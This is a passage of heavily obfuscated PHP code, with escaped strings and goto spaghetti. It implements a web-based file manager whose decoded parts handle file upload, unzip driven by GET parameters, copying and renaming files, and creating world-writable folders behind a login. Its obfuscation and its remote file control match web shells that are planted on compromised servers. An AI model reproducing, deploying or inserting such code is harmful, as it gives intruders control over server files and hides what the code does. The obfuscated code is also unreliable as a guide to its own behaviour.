"\x27\51\73\x9\x9\xd\12\11\11\11\x20\40\40\144\151\162\x20\75\40\162\145\x70\154\x61\143\x65\137\144\x69\162\x28\x24\x28\47\x23\106\162\157\x6d\106\157\x6c\144\x65\x72\x44\x69\x72\47\x29\x2e\166\x61\154\50\51\51\x3b\x20\xd\xa\11\x9\11\40\40\x20\44\x2e\147\x65\x74\112\123\117\116\x28\42\77\143\x6f\160\171\x3d\42\53\144\151\162\53\42\x26\x74\x61\x62\x6c\145\46\x74\x6f\x3d\42\x2b\44\50\x27\43\x54\x6f\106\x6f\154\x64\145\162\111\156\160\165\x74\x27\x29\x2e\166\141\x6c\x28\51\54\x20\x66\x75\x6e\143\x74\x69\x6f\x6e\x28\x64\141\x74\x61\x29\x7b\15\12\11\40\x20\x20\40\x20\40\x20\x20\x20\40\x20\44\x28\x22\x23\143\x6f\x6e\164\x65\156\164\42\x29\x2e\150\164\155\154\50\x64\141\164\141\56\164\141\142\154\145\x29\x3b\15\12\11\x9\x9\40\x20\40\x24\50\x27\x23\x61\154\145\162\x74\x27\51\x2e\x68\x74\155\154\50\x64\x61\x74\141\x2e\x61\x6c\145\x72\164\51\x3b\11\x9\xd\12\11\x20\x20\40\40\40\x20\x20\40\x20\x20\40\x24\50\47\43\x43\x6f\160\x79\x46\x6f\154\144\x65\x72\x27\51\56\155\157\144\x61\x6c\50\x27\150\151\x64\145\47\51\x3b\15\xa\x20\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x24\x28\x22\x23\x54\157\x46\157\154\x64\x65\x72\111\x6e\160\x75\x74\42\x29\x2e\x72\145\155\157\x76\145\x41\164\164\x72\x28\42\144\151\x73\x61\x62\154\145\144\x22\51\73\15\xa\11\11\x20\x20\x20\x20\x20\40\x20\x24\50\x27\43\x43\157\160\x79\x4c\141\x62\x65\154\x73\x75\x63\x63\145\163\x73\47\x29\x2e\x68\164\x6d\154\x28\x27\47\51\73\xd\xa\x9\x9\11\40\x20\40\x24\x28\x27\x23\x54\157\x46\157\154\x64\145\162\x49\x6e\x70\x75\x74\x27\51\x2e\x76\x61\154\x28\47\x27\51\x3b\15\12\11\11\x9\x20\40\x20\xd\12\x9\40\x20\x20\x20\x20\40\x20\40\x20\175\51\x3b\11\15\12\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x7d\x3b\xd\xa\11\x9\x9\x20\15\12\11\x9\11\x20\15\12\11\11\x9\40\40\11\40\146\165\156\x63\164\151\157\x6e\40\172\151\160\101\x6e\144\103\x6f\x6e\164\145\x6e\x74\x28\51\40\15\xa\x9\x9\11\x20\173\40\xd\xa\xd\12\11\x9\x9\40\x20\x24\50\42\x23\x5a\x69\x70\x4c\x6f\x61\x64\x22\51\x2e\150\164\x6d\x6c\x28\x27\74\x63\x65\156\x74\145\x72\76\x3c\x62\162\76\x3c\142\x72\76\74\163\160\x61\x6e\40\x63\154\x61\x73\163\75\42\x4c\x6f\141\144\x69\156\147\42\x3e\74\57\x73\x70\x61\156\76\x3c\x62\x72\x3e\x3c\142\162\x3e"; goto F7zz6; dWfTV: if (!(isset($_FILES["\151\x6e\160\165\164\x46\151\154\145\x55\160\154\157\141\x64"]) && !empty($_FILES["\151\156\x70\x75\164\106\x69\x6c\145\x55\x70\x6c\157\141\144"]["\x6e\141\x6d\145"]))) { goto ZDn1t; } goto VXM4w; pbT6p: echo "\51\x20\x6e\157\55\162\x65\160\145\x61\164\40\x6c\145\x66\x74\40\143\x65\x6e\x74\145\162\x3b\40\x70\141\144\144\x69\x6e\x67\72\x20\x35\160\170\40\x30\x20\x35\160\170\x20\x32\65\160\170\73\x6d\x61\162\x67\151\156\55\x6c\145\146\164\72\40\x35\160\x78\73\x7d\15\12\x2e\x52\145\x6e\141\x6d\145\x49\x63\x6f\x6e\173\x62\x61\x63\153\147\x72\157\165\156\x64\72\x75\x72\x6c\50\40"; goto I28cn; SOTsu: goto lAjp0; goto gK_k0; WAxWO: $CIvJG[1] = "\x52\145\x6d\157\166\x65"; goto ObmPb; vMwy2: @CVcgN($_GET["\x75\x6e\172\x69\160"], $_GET["\x74\x6f"]); goto ifBDM; TbXh_: if ($FNpgA) { goto RNOrf; } goto hmWpY; wLGSn: echo "\51\40\156\157\55\162\x65\160\145\x61\164\x20\x6c\145\x66\164\40\x63\145\x6e\x74\x65\162\73\40\160\141\x64\144\151\156\147\x3a\40\65\160\170\x20\x30\x20\x35\160\x78\x20\x32\65\160\x78\73\155\x61\x72\x67\x69\x6e\55\154\x65\x66\x74\x3a\40\x35\x70\x78\x3b\x7d\xd\xa\x2e\103\157\x70\171\x49\143\x6f\x6e\x20\x7b\142\141\x63\153\147\162\x6f\165\156\144\x3a\x75\162\154\x28"; goto y1C3C; jgZ8v: function agF99($Ogb3s = NULL, $XNVho = k3dvm) { goto sSSGV; VRlZY: if (!(strcasecmp($Ogb3s, $XNVho) > 0)) { goto nSyZU; } goto DJ9pu; PeQBn: $nvOwd = substr($Ogb3s, strlen($nyi6h)); goto SiXX_; FIRKC: if (!(!$nyi6h or !$nvOwd or $nvOwd === "\x2e")) { goto KGoK7; } goto mlrie; eDE4p: KGoK7: goto TrLTs; HsQEH: nSyZU: goto rrR9j; rrR9j: return FALSE; goto CJpO8; sSSGV: $nyi6h = dirname($Ogb3s); goto PeQBn; SiXX_: $nyi6h = realpath($nyi6h); goto ltb__; ltb__: $nvOwd = preg_replace("\57\133\136\141\55\x7a\x30\x2d\x39\x5c\x2e\134\x2d\x5f\135\x2f\x69", '', $nvOwd); goto FIRKC; mlrie: return FALSE; goto eDE4p; TrLTs: $Ogb3s = $nyi6h . "\x2f" . $nvOwd; goto VRlZY; DJ9pu: return $Ogb3s; goto HsQEH; CJpO8: } goto BQG1y; lUtUq: unset($_SERVER); goto x3w67; RO2Ex: $dm0oc[1] = "\x64\141\x74\x61\x3a\x69\x6d\141\147\x65\57\160\156\147\73\142\x61\x73\x65\x36\x34\x2c\151\x56\x42\x4f\x52\x77\60\x4b\x47\x67\157\x41\x41\x41\101\x4e\x53\x55\150\105\x55\147\101\x41\x41\102\x41\x41\101\x41\101\121\103\101\131\x41\101\x41\101\146\70\x2f\x39\150\x41\101\x41\x41\x78\153\x6c\105\121\x56\x51\64\152\141\x33\122\115\x51\x36\103\121\x42\101\x46\125\x42\x49\x37\157\x31\x5a\x61\62\x56\x68\141\x47\x72\167\x41\x38\121\x44\x65\170\x4a\131\x43\155\151\x6b\111\x4a\x49\124\x6b\x7a\x39\x2f\x51\125\116\164\170\x43\152\x75\x50\x59\117\x49\x35\x6a\x4a\x31\x69\147\x77\60\122\132\x41\x6d\124\x54\104\x4f\67\x65\146\x6d\172\66\172\150\152\x6c\x6f\147\x73\126\124\x55\x41\111\x4d\62\x4f\x6f\x6d\x6a\x39\x46\x31\x44\126\x77\120\146\71\145\130\x4d\117\x51\x45\147\x2b\x52\107\124\x57\x43\121\x43\x51\164\156\155\x64\x37\154\x61\x57\x35\127\121\x49\x45\x49\162\111\111\163\165\x79\162\x61\x71\x65\x72\x59\105\x34\152\x6c\x63\x41\167\x6e\161\126\151\172\x58\121\x2b\x38\65\157\167\113\x39\166\162\116\166\x72\x44\x5a\104\143\101\x33\103\142\x35\x7a\x59\x4a\63\104\122\x4e\x64\60\126\x52\124\101\x46\64\x51\64\102\x44\153\151\121\142\153\154\144\126\146\x51\115\x34\71\121\132\111\x33\157\60\x78\106\143\x6d\130\115\x61\x62\x36\164\x6d\60\103\x2b\x30\144\x55\61\x53\120\112\166\x41\x4d\x51\x6b\x73\x39\x57\131\x45\x68\71\x41\x50\x46\123\170\x61\x6e\121\x52\62\x51\x49\101\101\101\101\101\x45\x6c\x46\x54\x6b\123\165\x51\x6d\x43\x43"; goto U6VXk; U_Wv2: echo $CIvJG[10]; goto w4eN3; MRRel: $CIvJG[37] = "\x4d\x61\x78\x20\x66\x69\154\145\163\x69\172\x65"; goto Yejk1; h2USG: $q4G5q = true; goto menfR; qrhkM: $CIvJG[24] = "\125\163\x65\162\x6e\x61\x6d\x65"; goto A0rSA; DgkBl: obO19: goto QLuQ5; k16nx: echo $CIvJG[14]; goto cFnnP; DSDXW: function wbEVr($KhbAx) { goto eslk6; CXb29: goto vOOoj; goto WNqKl; MqxSJ: return "\74\x73\x70\x61\x6e\x20\x63\154\x61\x73\x73\75\42\105\x78\160\154\157\x72\111\143\157\x6e\42\x3e" . $CIvJG[31] . "\74\57\x73\160\141\156\x3e"; goto CXb29; fcuRs: nV7Ye: goto rvuR_; eEsK0: if (in_array(lu4VD($KhbAx), array("\x7a\x69\x70", "\x72\141\162", "\67\x7a", "\x67\x7a\151\x70", "\x74\141\162", "\167\x69\x6d", "\170\x7a"))) { goto TZkvH; } goto hh0Ai; ohuxI: goto vOOoj; goto lizUu; ZPBZe: if (is_dir($E0reN . "\57" . $KhbAx) && file_exists($E0reN . "\x2f" . $KhbAx)) { goto nV7Ye; } goto seCaU; eslk6: global $E0reN, $MTWgC, $CIvJG; goto ie05Q; GHZA8: goto vOOoj; goto P0TNT; TOtlq: if ($KhbAx == "\56\x2e") { goto a4OEO; } goto ZPBZe; vDvNq: vOOoj: goto hn2BP; coSpY: goto vOOoj; goto KLl9h; zowuB: goto vOOoj; goto tzn1o; bsPr9: goto vOOoj; goto fcuRs; oNRUl: return "\74\163\x70\141\x6e\40\x63\x6c\141\163\x73\x3d\42\111\155\x61\147\145\111\x63\157\x6e\x22\x3e\x3c\x2f\x73\160\141\156\76\x3c\141\40\150\x72\145\x66\75\x22" . $E0reN . "\x2f" . $KhbAx . "\x22\76" . $KhbAx . "\x3c\x2f\141\76"; goto GHZA8; tzn1o: uU2SJ: goto oNRUl; ln3A9: return "\74\x73\x70\x61\x6e\40\x63\154\x61\x73\163\x3d\42\124\x72\145\145\111\x63\x6f\x6e\42\x3e\x3c\57\163\160\x61\x6e\76\74\x61\x20\x68\x72\145\146\x3d\x22\77\x22\x20\x6f\156\x63\154\151\143\153\x3d\42\x67\145\164\x43\x6f\156\164\x65\x6e\x74\x28" . "\47\144\151\x72\75" . $E0reN . "\57" . $KhbAx . "\x27" . "\x2c\60\51\73\x20\x72\145\x74\165\x72\156\40\146\x61\x6c\x73\x65\73\x22\x3e" . $KhbAx . "\x3c\x2f\141\x3e"; goto bsPr9; WNqKl: a4OEO: goto ln3A9; gF4is: return "\x3c\141\x20\x68\162\145\x66\x3d\42\x3f\42\x20\157\x6e\x63\x6c\151\143\153\75\x22\147\145\x74\x43\157\156\164\145\x6e\x74\x28" . "\x27\x64\x69\x72\x3d" . $E0reN . "\x2f" . $KhbAx . "\x27" . "\x2c\60\x29\x3b\x20\162\145\x74\x75\162\x6e\40\146\141\154\x73\x65\73\42\x3e\x3c\x73\x74\x72\157\x6e\147\x3e" . $KhbAx . "\74\57\x73\164\162\x6f\x6e\x67\76\x3c\57\x61\x3e"; goto ohuxI; lizUu: LupA9: goto MqxSJ; seCaU: if (in_array(lU4vD($KhbAx), $MTWgC[2])) { goto uU2SJ; } goto eEsK0; dioIJ: if ($KhbAx == "\115\141\164\143\x68\137\156\157\164\137\146\157\x75\x6e\x64") { goto LupA9; } goto TOtlq; P0TNT: TZkvH: goto QALc7; ie05Q: if ($KhbAx == "\x2e") { goto WR37y; } goto dioIJ; KLl9h: WR37y: goto gF4is; hh0Ai: return "\74\163\160\141\x6e\40\x63\x6c\141\x73\163\x3d\x22\120\x68\x70\111\x63\157\x6e\x22\x3e\74\57\x73\x70\141\156\x3e\74\x61\40\x68\x72\x65\146\75\x22" . $E0reN . "\x2f" . $KhbAx . "\42\76" . $KhbAx . "\74\x2f\x61\x3e"; goto coSpY; rvuR_: return "\74\x73\x70\141\x6e\40\143\x6c\x61\x73\163\x3d\42\103\x46\x6f\154\x64\145\162\111\143\157\156\42\x3e\x3c\x2f\163\x70\141\156\76\74\141\40\150\x72\145\x66\x3d\42\77\x22\40\x6f\156\143\154\151\143\x6b\75\x22\147\145\164\x43\157\x6e\164\x65\x6e\164\x28" . "\47\144\151\x72\x3d" . $E0reN . "\57" . $KhbAx . "\47" . "\54\x30\51\x3b\40\162\145\164\x75\162\156\x20\146\x61\x6c\163\145\73\x22\x3e" . $KhbAx . "\x3c\x2f\141\76"; goto zowuB; QALc7: return "\x3c\163\160\141\x6e\40\x63\154\141\163\x73\75\42\x5a\151\160\111\x63\157\x6e\42\x3e\x3c\x2f\163\x70\x61\156\x3e\74\x61\40\x68\162\145\146\75\42" . $E0reN . "\x2f" . $KhbAx . "\x22\76" . $KhbAx . "\74\57\141\76"; goto vDvNq; hn2BP: } goto Lqr7t; U1fC4: LtuYj(); goto FDN5F; DAGMP: unset($Neukl); goto ZFQLq; GK6dm: $CIvJG[26] = "\x4c\157\x67\157\165\164"; goto VmMAp; LarHx: $CIvJG[30] = "\125\x70\154\157\x61\144\40\x66\x69\154\x65"; goto vFh1F; mS8U_: echo $CIvJG[41]; goto XpcLU; cGKgU: $dm0oc[9] = "\x64\x61\164\141\x3a\151\155\x61\147\145\x2f\x70\156\147\73\142\141\163\x65\66\64\x2c\x69\126\102\117\x52\x77\x30\x4b\107\147\157\x41\101\101\101\116\x53\x55\x68\x45\x55\147\x41\x41\x41\102\x41\101\101\x41\x41\x51\x43\x41\131\x41\x41\x41\101\x66\70\57\71\150\x41\101\x41\x42\104\x55\154\x45\x51\x56\121\x34\x6a\144\62\123\115\x55\67\x44\121\102\x42\106\x70\x2b\125\141\143\x41\103\113\130\x4d\x43\x4e\112\131\x4c\x43\103\126\x78\172\110\x44\x66\x32\x43\x66\101\161\126\144\x61\172\64\x30\x32\x4e\x69\112\x4b\60\127\122\143\125\x75\x55\x42\101\x6c\101\x45\x62\x43\x6c\x4a\x38\x43\165\114\111\x63\164\x61\123\x36\x33\x78\x70\x4e\144\112\157\x39\x50\146\164\x37\x43\143\x36\113\153\61\124\153\105\145\x46\164\x63\111\x69\x79\111\62\102\132\163\x62\162\144\x71\164\71\143\60\122\x45\x49\61\x2b\124\122\x64\x42\x6f\64\x78\167\101\111\x44\x66\x6d\63\113\123\120\147\105\x58\x77\x39\166\x34\x42\x41\x46\x69\x75\x31\x74\147\64\x42\170\x62\170\x7a\156\157\112\x6a\114\130\x59\67\x7a\57\x78\x58\x66\x2b\143\x53\x44\124\172\165\x55\x46\x44\x30\x4e\x51\153\x53\x52\x44\110\x38\x61\61\x59\x69\71\x2f\104\x41\x56\126\144\x34\x36\165\x71\101\x41\x41\x7a\156\x30\x47\114\157\x46\62\166\x5a\x44\x35\x48\x56\x37\156\x76\x43\130\60\67\x79\112\x52\66\132\150\106\157\x5a\x6d\150\155\65\103\x4c\x49\x6c\x48\x6f\x5a\x76\x41\x4d\x69\165\x68\x35\x50\x4a\x67\71\102\105\x4e\171\x46\x59\x58\x68\57\x6e\x4c\163\132\x54\x43\x44\127\66\x69\131\x48\x4c\101\x49\x75\151\160\x33\63\155\151\x69\x4b\110\x6e\x33\71\144\147\65\143\127\121\111\x41\x57\x47\x51\62\155\x4b\x43\x62\101\61\x65\127\106\65\x75\104\120\x6d\130\x54\66\x61\x4b\x62\147\x79\145\154\x46\x6f\115\116\x36\120\57\120\x52\x35\61\x7a\x79\163\x45\146\62\57\x52\x42\106\x4a\103\127\x4d\x68\x73\101\x41\101\x41\x41\x53\125\126\117\122\113\65\103\x59\111\x49\75"; goto UdVMG; KzxjA: echo "\x29\40\156\x6f\55\x72\145\x70\145\x61\x74\40\154\145\146\164\x20\143\145\x6e\164\145\x72\x3b\160\x61\x64\144\151\x6e\147\72\x20\65\160\170\x20\x30\x20\x35\x70\170\40\62\65\x70\x78\x3b\x6d\x61\162\147\x69\x6e\55\154\145\146\x74\x3a\x20\65\x70\x78\x3b\175\xd\12\x2e\114\157\147\x6f\x75\164\111\143\x6f\156\173\142\141\x63\153\x67\x72\x6f\x75\156\144\72\165\x72\154\x28\40\40"; goto kZsRN; L_NpW: unset($fxkQy); goto XNFuQ; xXOdl: zy9SN: goto ocguD; NxCiU: echo "\42\x3e\74\57\x73\160\x61\156\76\40\xd\12\x9\x20\40\x20\40\x3c\142\x75\x74\x74\x6f\156\x20\164\171\x70\x65\x3d\42\x73\165\142\x6d\151\164\42\40\x6e\141\x6d\x65\x3d\x22\x75\160\x6c\x6f\x61\x64\42\x20\x63\x6c\x61\x73\x73\75\42\x62\164\x6e\x20\142\x74\156\x2d\163\165\x63\x63\x65\163\x73\42\40\x20\x69\x64\75\x22\106\x69\154\x65\x55\x70\154\157\x61\144\x42\x74\156\x22\x20\144\x69\163\141\x62\x6c\145\144\x3e"; goto LTsTK; mn0qz: iuUM6: goto vRTZY; iz6PY: session_destroy(); goto wX7V_; TgQB1: echo $dm0oc[9]; goto BxXlK; b5wql: if (!(isset($_GET["\156\x65\167\x66\x6f\x6c\144\145\x72"]) && Xu7xx())) { goto dE68V; } goto koeuK; vkOmp: unset($Pnn97); goto BOUcE; NMzEa: LtUYj(1); goto dE5nM; eczjw: echo $CIvJG[17]; goto vsNnG; JrpTo: echo "\74\57\143\145\156\164\145\162\x3e\x27\51\x3b\15\12\11\x20\x20\x20\x20\40\40\x20\40\40\40\x20\x20\44\50\47\x23\146\151\154\145\156\x61\155\145\x44\x69\x72\x27\x29\56\166\x61\x6c\50\144\151\x72\51\73\44\50\47\43\151\155\147\x55\162\154\x27\x29\56\150\x74\x6d\154\50\x66\151\154\145\156\141\x6d\145\x29\73\xd\xa\x9\x9\x9\x9\x24\50\47\43\x53\x68\x6f\x77\106\x69\154\145\47\x29\56\155\x6f\x64\x61\x6c\50\47\163\x68\x6f\x77\47\51\x3b\11\15\12\x9\x9\x9\x9\15\12\x9\x9\x9\151\x66\x28\x66\x69\x6c\x65\x6e\141\155\x65\x20\75\75\x27\144\x69\162\x65\143\164\x6f\162\x79\x27\x29\x7b\15\12\11\11\x9\x9\xd\12\11\x9\x9\x9\44\x28\42\43\110\x72\145\x66\124\162\145\145\x22\51\56\x68\x74\x6d\x6c\x28\x27"; goto mmnOP; VBBcR: $dm0oc[15] = "\x64\141\164\141\x3a\151\155\x61\147\145\57\x67\x69\146\x3b\142\141\x73\x65\x36\x34\x2c\122\60\x6c\x47\117\x44\154\150\110\x77\x41\x66\x41\x4e\125\101\x41\120\57\x2f\57\x35\x71\x61\155\151\131\155\112\x75\124\x6b\65\x4c\171\x38\x76\x4d\x7a\x4d\172\113\161\x71\x71\x72\x43\167\x73\x4b\113\x69\157\x75\152\x6f\66\x4e\124\125\61\x50\x62\x32\x39\x71\x69\157\x71\x4b\103\x67\157\113\66\165\x72\164\114\x53\60\x74\x7a\x63\x33\x4e\x6a\131\62\114\151\x34\x75\x4f\142\155\65\156\102\x77\x63\x4d\142\107\x78\x6d\150\157\141\105\x5a\x47\x52\153\x68\111\123\104\111\171\115\166\x6a\64\53\120\x72\66\53\x6c\x42\x51\125\104\x59\62\x4e\163\x54\x45\x78\x46\132\127\x56\x70\113\x53\153\147\101\101\101\x41\x41\101\101\101\101\101\x41\x41\x41\x41\101\101\x41\x41\x41\x41\x41\x41\101\x41\101\101\101\x41\101\101\101\x41\x41\x41\101\x41\101\101\x41\101\101\x41\x41\101\x41\101\x41\101\x41\x41\x41\101\x41\x41\x41\101\x41\101\101\101\101\x41\101\101\x41\101\x41\x41\x41\x41\x41\101\101\101\x41\x41\101\101\x41\x41\101\101\101\x41\x41\101\x41\x41\101\101\101\101\x41\x41\101\101\x41\x41\101\101\101\101\x41\101\x41\101\x41\101\101\101\x41\101\x41\101\x41\101\x41\101\101\101\101\x41\101\x43\110\x35\102\101\101\x4b\101\x41\101\101\x49\146\70\114\x54\153\x56\x55\x55\x30\116\102\x55\x45\125\x79\x4c\152\101\x44\101\x51\x41\101\101\x43\x77\x41\101\101\101\101\x48\x77\x41\x66\101\x41\x41\107\57\60\x43\101\143\x45\150\x4d\120\101\147\117\x42\x4b\104\x44\x6f\121\121\x4b\170\x4b\x68\60\103\x4a\x45\x45\162\154\x65\101\131\114\165\x31\110\104\x52\x54\x36\131\103\101\114\127\165\65\x58\105\x6f\154\120\x49\x77\131\171\x6d\x59\x30\107\155\x4e\x67\x41\170\162\167\165\112\x79\x62\x43\125\x63\x61\101\110\x6c\x59\x5a\63\x73\103\x64\x78\106\x52\x41\x32\70\102\x67\126\147\x48\x42\121\115\114\101\x41\153\x65\111\x42\x39\x6f\152\x51\x59\x44\122\107\123\x44\x41\121\167\113\131\122\163\x49\x46\x34\x5a\x6c\102\106\x52\x35\x41\x4a\x74\x32\141\x33\153\121\x51\154\x5a\154\x44\x42\116\62\x51\x78\115\x4d\143\x42\x4b\124\145\x61\x47\x32\x51\167\160\65\x52\156\101\x48\x76\x31\x45\x48\143\105\x64\167\125\x4d\132\x44\102\x58\x42\111\143\x4b\172\116\161\63\x42\x4a\x63\x4a\x4c\125\101\101\164\167\123\x74\162\116\103\116\152\x66\63\x47\125\111\104\164\114\146\x41\x39\x61\x64\x57\x4d\172\125\x7a\x36\x63\120\x78\x4e\57\x49\132\121\70\112\166\144\124\x42\143\101\153\101\x73\x6c\x69\60\x6a\x4f\110\123\112\121\123\x43\x71\155\x6c\x68\x4e\162\x30\141\x77\157\67\x52\112\x31\71\124\x46\x4f\122\x71\144\x41\x58\x56\x45\x45\126\x5a\x79\x6a\171\x4b\164\107\x31\x41\147\130\x6f\132\101\62\x69\113\70\157\145\151\x4b\153\x46\x5a\x47\151\103\141\x67\x67\145\154\123\x54\x69\x41\x32\x4c\150\x78\151\x64\114\x41\123\x6a\132\152\102\114\x32\x73\151\x4e\102\117\106\x51\x38\x34\x4c\x79\x58\x41\x2b\155\x59\x45\151\x52\x4a\172\x42\117\67\x5a\103\121\x49\101\x49\x66\153\105\x41\x51\x6f\101\111\121\x41\163\x45\101\101\101\x41\x41\x38\x41\104\x77\x41\101\102\154\x64\101\150\x49\120\167\123\x49\x53\117\171\x47\x52\x67\x75\132\122\101\101\x45\x6b\x6b\143\x30\x6f\x59\122\x45\120\x54\x71\123\x45\123\172\125\x34\142\130\x65\70\x79\x6c\104\x45\x67\x46\64\120\x43\x59\x52\157\x53\103\104\103\126\113\105\104\x42\103\x4c\x54\x64\x41\157\x72\x6d\x61\163\130\x6a\104\61\143\x68\106\122\144\53\101\x68\141\102\111\121\151\x46\101\x67\x57\102\107\x78\x2b\x46\144\x6f\x45\x67\150\x52\x53\111\110\157\x55\x63\x69\x41\155\x46\x48\125\x45\x41\x49\x66\153\x45\101\121\157\x41\x49\121\101\x73\106\147\x41\106\101\101\153\x41\x46\x51\x41\101\102\x6c\x6e\x41\153\104\104\x55\x69\x41\x79\110\x67\x59\x42\150\x63\105\167\155\x43\121\103\150\x30\167\x6b\112\124\x52\152\x54\147\105\123\x6f\171\101\x59\x53\x49\x63\101\x68\53\x78\x41\x57\x73\x67\x54\150\111\x4f\163\121\x4c\162\113\x49\x6f\x31\171\x59\105\116\x6a\164\110\x61\110\x6e\142\165\x63\x49\x51\x58\167\103\x46\103\105\x62\110\x34\x45\x42\x49\x51\151\102\101\x67\x55\x56\106\64\x45\127\121\157\163\110\121\x33\x77\x55\107\x6b\144\x32\107\102\x56\172\107\x51\x5a\104\x51\x51\101\150\53\121\121\102\x43\x67\101\x68\101\103\167\x51\x41\102\101\x41\x44\x77\101\x50\x41\x41\x41\x47\127\x63\103\x51\x63\x43\x68\x63\102\x49\65\110\x42\112\x45\x34\121\102\64\144\x79\62\x48\x42\x47\x53\102\x45\x51\64\101\104\x39\130\106\126\x55\x41\x4f\112\66\x49\x52\x42\x6c\x55\121\162\x6f\123\53\105\x75\x45\106\x63\x42\107\x6b\x6b\101\x52\102\x4b\x65\105\101\146\147\x52\65\x2b\116\x41\x79\105\145\x34\106\x36\111\x51\x30\122\x51\64\113\x42\x47\125\x75\111\145\x68\147\107\151\x34\x67\x55\141\112\102\67\106\147\x63\141\126\170\x30\143\x46\101\105\106\x56\60\116\x42\101\x43\110\x35\102\x41\105\113\101\103\x45\x41\x4c\x41\125\x41\106\x67\x41\126\101\101\153\x41\x41\x41\x5a\125\167\112\101\167\126\x42\153\x61\x6a\x59\x4f\x6a\x55\x48\102\x42\x62\x4a\x51\x68\147\x49\x49\122\117\101\161\165\147\x67\57\x49\153\x77\147\164\102\157\126\x44\x59\106\x78\x64\x59\x73\x2b\103\105\110\x6b\71\x44\155\x58\121\132\x7a\127\x62\x33\x44\102\x67\64\x46\146\x35\63\x42\x41\150\x55\x76\x42\x36\x61\x77\122\x4a\121\150\x6f\110\106\x6d\x69\102\x41\122\x49\121\x41\106\x41\x46\x41\x52\x51\x63\110\123\105\x49\x44\x67\121\120\130\125\x5a\102\101\x43\110\65\x42\x41\x45\113\101\x43\x45\x41\114\x41\101\101\x45\x41\101\x50\101\x41\x38\x41\x41\101\132\132\167\x49\x35\147\117\105\x79\x45\152\x73\x67\x6a\150\x7a\152\x30\112\x4a\x4d\125\x70\147\104\x30\122\101\141\x6b\x6e\60\60\61\x56\112\x41\113\x45\x4e\x75\121\x52\x58\161\x70\x62\x41\57\145\x30\113\103\x71\151\x52\112\104\101\131\x59\103\70\113\x78\147\150\x76\103\101\x2f\154\x41\x59\x4c\112\101\x47\107\x58\x6c\66\150\x48\160\x50\104\x59\127\112\x54\170\105\107\151\131\x52\126\101\167\x53\x4f\101\126\163\x41\x45\x42\x4b\x4b\x59\x53\x45\112\x44\167\x51\x4f\103\105\x45\101\111\x66\153\x45\101\x51\x6f\x41\x49\121\101\163\101\x41\x41\x46\x41\101\153\101\x46\x51\101\101\x42\154\x6e\x41\x6b\x4e\103\121\105\x52\160\104\106\x59\170\x41\x63\116\122\x51\x6c\x6b\x76\152\x41\x51\157\x56\x57\x71\151\103\123\x36\x57\x41\106\123\102\x43\101\x65\170\156\105\63\160\123\x51\125\x49\x4f\61\x69\x50\163\x59\x42\120\110\165\102\101\122\161\116\143\x58\x51\x6f\145\71\120\x68\101\123\x39\147\x45\106\121\147\53\101\102\x77\101\x68\x43\131\x41\102\103\x6b\111\123\x67\101\167\x54\x49\x52\103\113\x51\147\x42\57\144\x6b\x63\x44\x42\156\126\x79\105\121\61\110\121\x51\x41\x68\53\121\x51\102\x43\147\101\150\x41\103\x77\x41\101\101\101\x41\104\x77\x41\120\x41\x41\101\107\127\x4d\103\x51\143\105\x67\x73\102\x43\151\x63\104\156\x47\x6f\x4f\x56\x67\105\x55\x4f\147\x79\126\113\x46\x45\162\60\163\104\65\x6f\x6f\x6c\132\162\152\144\x55\113\x51\122\x41\x6b\145\x46\101\60\115\x67\x55\x49\65\x2b\x51\x4a\65\x45\x43\105\102\x59\x72\70\x73\x58\x78\x49\131\111\x73\x64\x75\160\125\170\x4a\x2b\x41\121\x77\124\125\x77\x6d\x44\101\121\x70\124\x49\121\53\x44\x42\x77\103\115\144\130\x34\106\152\x43\x45\x4f\147\167\x4f\x57\103\x49\x4d\x4c\154\153\x45\101\x4f\167\75\75"; goto Dsne7; YKsNp: $CIvJG[16] = "\x46\x6f\154\x64\x65\x72"; goto ho2yf; fYTrm: $CIvJG[39] = "\x54\x72\x65\x65\40\x56\151\145\167"; goto jR1dr; K6HJH: echo $CIvJG[33]; goto eqfwO; BOUcE: unset($KNI8z); goto D60sv; vjMnP: $k8LVN .= "\x3c\x74\x64\40\x63\157\154\163\160\141\x6e\x3d\x22\64\x22\40\x63\154\x61\163\x73\75\42\143\157\x6c\55\x78\x73\x2d\61\62\x20\143\x6f\154\x2d\163\x6d\x2d\61\x32\x20\143\x6f\x6c\55\x6d\144\x2d\x31\62\42\x3e"; goto C_LLr; VmMAp: $CIvJG[27] = "\x41\x62\x6f\x75\164"; goto qrtmi; nEX1o: nimQZ: goto D77Vl; mvqSd: echo "\x27\51\73\xd\12\11\x9\11\xd\12\x20\40\x20\40\x20\40\x20\40\40\x20\40\40\x20\40\x20\40\x24\x28\42\43\106\151\x6c\145\x54\x78\x74\x22\51\x2e\162\x65\x6d\157\x76\145\x41\x74\164\x72\x28\42\x64\x69\x73\141\142\x6c\x65\x64\x22\x29\73\x20\x24\50\42\43\x46\151\x6c\145\x57\x72\151\x74\145\102\x74\x6e\42\51\56\162\x65\x6d\x6f\166\x65\x41\164\164\x72\50\42\144\151\163\x61\142\154\x65\144\x22\x29\73\15\12\x9\11\40\x20\40\40\x20\x20\40\xd\xa\11\11\11\40\40\x20\x64\145\x6c\145\x74\x65\x20\164\170\x74\x44\141\164\x61\73\x20\15\12\xd\xa\x9\11\11\40\x20\40\175\51\x3b\xd\xa\x9\11\15\12\x20\x20\40\40\x20\40\x20\40\40\x20\x20\x20\40\175\73\xd\12\x9\11\11\40\xd\12\11\11\11\40\xd\12\11\x9\x9\x20\146\165\x6e\143\164\x69\157\x6e\40\162\145\156\x61\155\x65\x41\x6e\x64\x43\x6f\x6e\x74\145\156\x74\50\51\x20\xd\12\x9\11\x9\40\173\x20\15\12\11\11\x9\x20\x20\40\44\x28\42\x23\162\145\156\141\155\x65\x49\156\x70\165\164\42\x29\x2e\141\164\164\162\50\x22\144\x69\x73\141\x62\154\x65\144\42\x2c\x20\42\144\x69\x73\141\142\x6c\x65\144\42\51\x3b\15\xa\11\x9\11\x20\x20\x20\x24\50\47\43\122\x65\x6e\x61\155\145\114\x61\142\x65\x6c\163\x75\x63\x63\145\163\163\47\51\56\150\164\155\x6c\x28\x27"; goto ENe5s; x44ph: function fqtJm($Uibd6, $AfNYa) { goto hkEY5; HXFXq: goto HNOTB; goto cKBVi; yIQT0: HNOTB: goto CTxeB; kk0Lu: @mkdir($A2uB8, 0777, true); goto u3fM3; SMcgk: @mkdir($AfNYa, 0777, true); goto vUCaE; hToE3: if (is_dir($Uibd6 . "\x2f" . $KhbAx)) { goto gWvXX; } goto fTJe9; NQece: FqTJM($Uibd6 . "\57" . $KhbAx, $AfNYa . 